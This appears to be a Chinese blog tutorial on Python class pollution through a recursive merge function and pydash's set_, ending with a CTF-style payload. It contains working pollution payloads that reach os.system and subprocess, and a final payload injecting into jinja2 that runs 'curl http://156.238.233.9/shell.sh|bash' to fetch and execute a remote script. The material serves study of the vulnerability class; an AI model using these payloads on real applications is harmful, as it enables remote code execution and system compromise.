python 原型链污染学习

基础知识

python的原型链污染实际是一些对类的操作,我们的输入一般是str或者int,所以不能使用

a.__class__=‘pollute’

但是a还有一个属性__qualname__,可以访问和修改类名

a.__class_.__qualname_=‘pollute’
假如原本a是poerson类,在此修改之后就会变成pollute类

接下来看merge函数,这个函数实现了对两个字典的递归合并,如果原来已有的键值对会被覆盖,新的键值对会被加进去,举个例子

合并两个字典
dict1 = {"a": {"x": 1}, "b": 2}
dict2 = {"a": {"y": 2}, "c": 3}
merge(dict1, dict2)
# dict2 = {"a": {"x": 1, "y": 2}, "b": 2, "c": 3}
覆盖原有值
class Settings:
    def __init__(self):
        self.theme = "dark"

config = {"theme": "light", "font": "Arial"}
settings = Settings()
merge(config, settings)
# settings.theme = "light", settings.font = "Arial"
深层更新
default_config = {"database": {"host": "localhost"}}
user_config = {"database": {"port": 5432}}
merge(user_config, default_config)
# default_config = {"database": {"host": "localhost", "port": 5432}}

到这里你应该理解merge函数的作用了,来看看它的源码

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):  #检查dst对象是否有__getitem__属性,如果存在则可以将dst作为字典访问
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict: #如果目标字典中已经存在该属性则只复制值
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

所以,我们可以利用这个函数进行污染

对父类的污染

payload = {
    "__class__":{
    	"__base__":{
    	    "__qualname__":"Polluted"
    	}
     }
}
merge(a,payload)
print(a.__class__.__base__) #<class '__main__.Polluted '>

当然,对于不可变类型Object或者str等,Python限制不能对其进行修改。

命令执行

在一些存在命令执行的类里,我们就可以尝试覆盖cmd

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):  #检查dst对象是否有__getitem__属性,如果存在则可以将dst作为字典访问
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict: #如果目标字典中已经存在该属性则只复制值
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
class exp:
    def __init__(self,cmd):
        self.cmd=cmd
    def excute(self):
        os.system(self.cmd)
a=exp('none')
b={"cmd":"calc"}
merge(b,a)
a.excute()

对子类的污染

在学习污染子类之前,先看一点前置知识在这里插入图片描述
其实很像SSTI,这个全局变量可以从任何已知函数的方法访问,比如我们常用的._init_.__globals__来找可以用来执行命令的模块,就是基于这个原理,__init__属性是类中常见的函数,所以可以直接用它来实现访问__globas__变量
接下来实现篡改os模块的一个环境变量

{
  "__init__": {
    "__globals__": {
      "subprocess": {
        "os": {
          "environ": {
            "COMSPEC": "cmd /c calc"  # 篡改环境变量 COMSPEC
          }
        }
      }
    }
  }
}

COMSPEC 环境变量的意义
在 Windows 中,COMSPEC 指定了系统命令解释器的路径(默认为 cmd.exe)。
篡改为 cmd /c calc 后,subprocess 调用系统命令时会直接执行计算器。
用subprocess模块主要是为了找到os,如果有os模块直接调用即可

看看完整攻击命令

import subprocess, json

class Employee:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)



emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

#
merge(emp_info, Employee())
# a=Employee()
# print(vars(a))
# print(a.__init__.__globals__['subprocess'])

subprocess.Popen('whoami', shell=True) 

pydash原型链污染

set_(notes, key, value)

pydash库的set_函数,可以说是在实际环境中的merge函数,用于将键值对添加到类中

from pydash import set_
class user:
    def __init__(self):
        pass
test_str='123456'
set_(user(),'__class__.__init__.__globals__.test_str','789')
print(test_str)
#789

不过这里当个例子看就行,因为pydash库现在不允许直接对global,builtins这样的变量进行修改在这里插入图片描述
调试set_函数,跟进到update_with函数,可以看到跟merge函数起到类似的作用

def update_with(obj, path, updater, customizer=None):  # noqa: PLR0912
    """
    This method is like :func:`update` except that it accepts customizer which is invoked to produce
    the objects of path. If customizer returns ``None``, path creation is handled by the method
    instead. The customizer is invoked with three arguments: ``(nested_value, key, nested_object)``.

    Args:
        obj: Object to modify.
        path: A string or list of keys that describe the object path to modify.
        updater: Function that returns updated value.
        customizer: The function to customize assigned values.

    Returns:
        Updated `obj`.

    Warning:
        `obj` is modified in place.

    Example:

        >>> update_with({}, "[0][1]", lambda: "a", lambda: {})
        {0: {1: 'a'}}

    .. versionadded:: 4.0.0
    """
    if not callable(updater):
        updater = pyd.constant(updater)

    if customizer is not None and not callable(customizer):
        call_customizer = partial(callit, clone, customizer, argcount=1)
    elif customizer:
        call_customizer = partial(callit, customizer, argcount=getargcount(customizer, maxargs=3))
    else:
        call_customizer = None

    default_type = dict if isinstance(obj, dict) else list
    tokens = to_path_tokens(path)

    last_key = pyd.last(tokens)

    if isinstance(last_key, PathToken):
        last_key = last_key.key

    target = obj

    for idx, token in enumerate(pyd.initial(tokens)):
        key = token.key
        default_factory = pyd.get(tokens, [idx + 1, "default_factory"], default=default_type)

        obj_val = base_get(target, key, default=None)
        path_obj = None

        if call_customizer:
            path_obj = call_customizer(obj_val, key, target)

        if path_obj is None:
            path_obj = default_factory()

        base_set(target, key, path_obj, allow_override=False)

        try:
            target = base_get(target, key, default=None)
        except TypeError as exc:  # pragma: no cover
            try:
                target = target[int(key)]
                _failed = False
            except Exception:
                _failed = True

            if _failed:
                raise TypeError(f"Unable to update object at index {key!r}. {exc}") from exc

    value = base_get(target, last_key, default=None)
    base_set(target, last_key, callit(updater, value))

    return obj

虽然set_函数的注释里就可以看出它的作用,但是底层真正起到作用的还是update_with函数

def set_(obj: T, path: PathT, value: t.Any) -> T:
    """
    Sets the value of an object described by `path`. If any part of the object path doesn't exist,
    it will be created.

    Args:
        obj: Object to modify.
        path: Target path to set value to.
        value: Value to set.

    Returns:
        Modified `obj`.

    Warning:
        `obj` is modified in place.

    Example:

        >>> set_({}, "a.b.c", 1)
        {'a': {'b': {'c': 1}}}
        >>> set_({}, "a.0.c", 1)
        {'a': {'0': {'c': 1}}}
        >>> set_([1, 2], "[2][0]", 1)
        [1, 2, [1]]
        >>> set_({}, "a.b[0].c", 1)
        {'a': {'b': [{'c': 1}]}}

    .. versionadded:: 2.2.0

    .. versionchanged:: 3.3.0
        Added :func:`set_` as main definition and :func:`deep_set` as alias.

    .. versionchanged:: 4.0.0

        - Modify `obj` in place.
        - Support creating default path values as ``list`` or ``dict`` based on whether key or index
          substrings are used.
        - Remove alias ``deep_set``.
    """
    return set_with(obj, path, value)

打污染的一些手法

  • sys模块加载获取
    引用sys模块下的module属性,这个属性能够加载出来在自运行开始所有已加载的模块,从而我们能够从属性中获取到我们想要污染的目标模块
    如果可以把目标模块污染成我们想要的命令,那命令是不是就可以自运行了
    在这里插入图片描述

  • 通过 loader._init_._globals_[‘sys’]来获取sys模块
    (loader加载器的作用是实现模块加载,在内置模块importlib中具体实现,而importlib模块下所有的py文件中均引入了sys模块)
    在这里插入图片描述

  • 在python中还存在一个__spec__,包含了关于类加载时候的信息,他定义在Lib/importlib/bootstrap.py的类ModuleSpec,所以可以直接采用<模块名>._spec._init_._globals_[‘sys’]获取到sys模块

了解到这些之后我们再来看SU的payload

payload={"key":"__init__.__globals__.json.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;import os;os.system('curl http://156.238.233.9/shell.sh|bash');#"}

runtime有什么用呢在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值